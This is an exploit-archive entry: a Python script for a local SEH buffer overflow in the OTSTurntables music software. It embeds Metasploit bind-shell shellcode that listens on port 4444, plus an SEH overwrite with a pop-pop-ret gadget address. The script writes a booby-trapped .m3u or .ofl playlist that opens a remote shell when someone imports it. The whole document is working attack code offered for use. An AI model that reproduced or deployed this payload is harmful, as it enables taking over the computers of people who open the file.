OTSTurnTables 1.00.028 Buffer Overflow

`# Exploit Title: OTSTurntables 1.00.028 (m3u/ofl) Local BOF Exploit (SEH)  
# Date: 11/24/2010  
# Author: 0v3r  
# Software Link: http://www.otsturntables.com/download-otsturntables-free/  
# Version: 1.00.048  
# Tested on: Windows XP SP3 EN  
# CVE: N/A  
  
#!/usr/bin/python  
  
import sys  
  
# win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com  
shellcode = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x48\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x4a"  
"\x58\x50\x30\x42\x30\x42\x6b\x42\x41\x5a\x32\x42\x42\x42\x32\x41"  
"\x42\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x4b\x59\x4b\x4c\x30"  
"\x6a\x58\x6b\x52\x6d\x6d\x38\x38\x79\x39\x6f\x4b\x4f\x39\x6f\x75"  
"\x30\x6e\x6b\x32\x4c\x71\x34\x34\x64\x6e\x6b\x31\x55\x37\x4c\x6e"  
"\x6b\x33\x4c\x55\x55\x53\x48\x57\x71\x68\x6f\x6c\x4b\x50\x4f\x47"  
"\x68\x6e\x6b\x53\x6f\x47\x50\x56\x61\x7a\x4b\x72\x69\x6e\x6b\x36"  
"\x54\x4e\x6b\x63\x31\x38\x6e\x37\x41\x6b\x70\x4f\x69\x6c\x6c\x4b"  
"\x34\x4b\x70\x52\x54\x64\x47\x6f\x31\x4b\x7a\x34\x4d\x46\x61\x59"  
"\x52\x48\x6b\x5a\x54\x65\x6b\x73\x64\x41\x34\x77\x58\x74\x35\x6b"  
"\x55\x4e\x6b\x61\x4f\x57\x54\x75\x51\x58\x6b\x70\x66\x6c\x4b\x36"  
"\x6c\x42\x6b\x6e\x6b\x31\x4f\x67\x6c\x46\x61\x7a\x4b\x63\x33\x66"  
"\x4c\x6c\x4b\x6c\x49\x50\x6c\x66\x44\x47\x6c\x53\x51\x6f\x33\x64"  
"\x71\x4b\x6b\x41\x74\x4e\x6b\x63\x73\x56\x50\x6c\x4b\x63\x70\x76"  
"\x6c\x6c\x4b\x52\x50\x67\x6c\x6c\x6d\x4c\x4b\x57\x30\x43\x38\x33"  
"\x6e\x53\x58\x4c\x4e\x30\x4e\x76\x6e\x7a\x4c\x32\x70\x4b\x4f\x78"  
"\x56\x62\x46\x66\x33\x61\x76\x75\x38\x66\x53\x36\x52\x75\x38\x71"  
"\x67\x32\x53\x45\x62\x63\x6f\x56\x34\x6b\x4f\x6e\x30\x70\x68\x58"  
"\x4b\x48\x6d\x4b\x4c\x35\x6b\x46\x30\x6b\x4f\x38\x56\x53\x6f\x4f"  
"\x79\x6b\x55\x50\x66\x6e\x61\x48\x6d\x76\x68\x37\x72\x73\x65\x41"  
"\x7a\x45\x52\x79\x6f\x38\x50\x30\x68\x4b\x69\x34\x49\x49\x65\x6e"  
"\x4d\x66\x37\x6b\x4f\x7a\x76\x50\x53\x46\x33\x36\x33\x42\x73\x46"  
"\x33\x57\x33\x50\x53\x41\x53\x32\x73\x6b\x4f\x4e\x30\x75\x36\x31"  
"\x78\x77\x61\x73\x6c\x52\x46\x43\x63\x6d\x59\x58\x61\x4c\x55\x52"  
"\x48\x4f\x54\x54\x5a\x50\x70\x4f\x37\x61\x47\x4b\x4f\x4e\x36\x30"  
"\x6a\x76\x70\x73\x61\x71\x45\x39\x6f\x6e\x30\x30\x68\x69\x34\x6c"  
"\x6d\x76\x4e\x49\x79\x66\x37\x79\x6f\x6b\x66\x63\x63\x42\x75\x59"  
"\x6f\x7a\x70\x41\x78\x4d\x35\x57\x39\x6c\x46\x57\x39\x42\x77\x59"  
"\x6f\x68\x56\x52\x70\x31\x44\x51\x44\x46\x35\x4b\x4f\x78\x50\x4e"  
"\x73\x50\x68\x58\x67\x44\x39\x48\x46\x30\x79\x41\x47\x6b\x4f\x59"  
"\x46\x51\x45\x6b\x4f\x6e\x30\x75\x36\x50\x6a\x70\x64\x32\x46\x62"  
"\x48\x52\x43\x50\x6d\x6d\x59\x4d\x35\x63\x5a\x52\x70\x32\x79\x65"  
"\x79\x38\x4c\x4f\x79\x69\x77\x30\x6a\x62\x64\x4b\x39\x6b\x52\x30"  
"\x31\x4f\x30\x6a\x53\x6c\x6a\x39\x6e\x43\x72\x74\x6d\x59\x6e\x71"  
"\x52\x74\x6c\x6f\x63\x4c\x4d\x50\x7a\x50\x38\x6c\x6b\x4e\x4b\x6c"  
"\x6b\x33\x58\x33\x42\x59\x6e\x6f\x43\x45\x46\x39\x6f\x53\x45\x50"  
"\x44\x79\x6f\x79\x46\x63\x6b\x50\x57\x71\x42\x71\x41\x70\x51\x50"  
"\x51\x33\x5a\x74\x41\x42\x71\x32\x71\x76\x35\x30\x51\x69\x6f\x7a"  
"\x70\x72\x48\x4e\x4d\x6a\x79\x53\x35\x6a\x6e\x30\x53\x79\x6f\x5a"  
"\x76\x30\x6a\x6b\x4f\x39\x6f\x65\x67\x6b\x4f\x5a\x70\x6e\x6b\x72"  
"\x77\x59\x6c\x6b\x33\x7a\x64\x70\x64\x49\x6f\x7a\x76\x76\x32\x6b"  
"\x4f\x5a\x70\x30\x68\x6c\x30\x6f\x7a\x57\x74\x73\x6f\x73\x63\x6b"  
"\x4f\x38\x56\x4b\x4f\x4e\x30\x4a")  
  
  
# near jump 928 bytes encoded with Alpha2 encoder  
jump = ("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49"  
"\x49\x49\x49\x49\x49\x49\x49\x49\x37\x49\x49\x49\x51\x5a\x6a\x65"  
"\x58\x50\x30\x41\x31\x41\x42\x6b\x41\x41\x75\x41\x32\x41\x41\x32"  
"\x42\x41\x30\x42\x41\x58\x38\x41\x42\x50\x75\x38\x69\x49\x79\x55"  
"\x30\x79\x6c\x4b\x4f\x4b\x4f\x65")  
  
nopsled = "\x90" * 16  
junk = "\x90" * (912 - len(shellcode))  
nseh = "\xeb\x06\x90\x90" # short jump  
seh = "\x3f\x28\xd1\x72" # 0x72D1283F - ppr - msacm32.drv  
jump = "\xe9\x60\xfc\xff\xff" # near jump  
stuff = "\x44" * 10000  
  
buff = junk + shellcode + nseh + seh + nopsled + jump + stuff  
  
  
  
try:   
print "\n"   
print "---------------------------------------------------------------------------------"  
print "| OTSTurntables 1.00.048 (m3u/ofl) Local BOF Exploit (SEH) |"  
print "---------------------------------------------------------------------------------"  
print "\n"  
  
if len(sys.argv)!=2:  
  
print "Usage: exploit.py <option>\n"  
print "File type options:"  
print "[1] m3u file"  
print "[2] ofl file"  
sys.exit(0)  
  
  
if int(sys.argv[1]) == 1:  
fname = "exploit.m3u"   
elif int(sys.argv[1]) == 2 :  
fname = "exploit.ofl"  
else:   
print "Check again the available options!"  
sys.exit(0)  
  
f = open(fname,'w')  
f.write(buff)  
f.close()  
  
print "- File ",fname," created..."  
print "- To run exploit open OTSTurntables 1.00.028 and import the file",fname  
except SystemExit:  
pass  
except ValueError:  
print "Check again the available options!"  
except:  
print "-Oooops! Can't write file...\n"  
  
`